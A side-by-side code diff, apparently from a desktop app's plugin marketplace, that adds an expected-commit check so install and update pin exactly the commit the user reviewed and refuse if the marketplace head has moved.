export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => /** `expectedCommit`: the head the user reviewed; the backend refuses if it moved. */
invoke<AppSettings>("install_marketplace_item", { item, scope }); export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
invoke<AppSettings>("install_marketplace_item", { item, scope, expectedCommit });
export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<void>("uninstall_marketplace_item", { item, scope }); invoke<void>("uninstall_marketplace_item", { item, scope });
export const setGlobalItemDisabled = ( export const setGlobalItemDisabled = (
@@ -466,8 +467,9 @@ export const marketplaceItemDiff = (
fromCommit: string, fromCommit: string,
toCommit: string, toCommit: string,
) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit }); ) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit });
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => /** `expectedCommit`: the head whose diff the user accepted; the backend refuses if it moved. */
invoke<void>("update_marketplace_item", { item, scope }); export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
invoke<void>("update_marketplace_item", { item, scope, expectedCommit });
export const applyMarketplaceNow = (projectId?: string) => export const applyMarketplaceNow = (projectId?: string) =>
invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null }); invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null });
export const getMarketplaceSyncReport = (projectId: string) => export const getMarketplaceSyncReport = (projectId: string) =>
@@ -184,7 +184,10 @@ password = token. Shallow fetch is not used (pins need history for diff/ancestry
**Update detection** compares each installed item's own tree (item folder / file blob id) at **Update detection** compares each installed item's own tree (item folder / file blob id) at
its pin vs. the branch head; only a changed item shows "update available". its pin vs. the branch head; only a changed item shows "update available".
**Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin. **Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin.
Hooks' diffs always show the rendered commands. Hooks' diffs always show the rendered commands. Install and update both carry the commit the user
reviewed (the head the item was read at, the head of the accepted diff); the backend pins exactly
that commit and refuses with "changed since you reviewed this item — review it again" if the
marketplace's head has moved since.
**Accounts** (`marketplace/auth.rs`): **Accounts** (`marketplace/auth.rs`):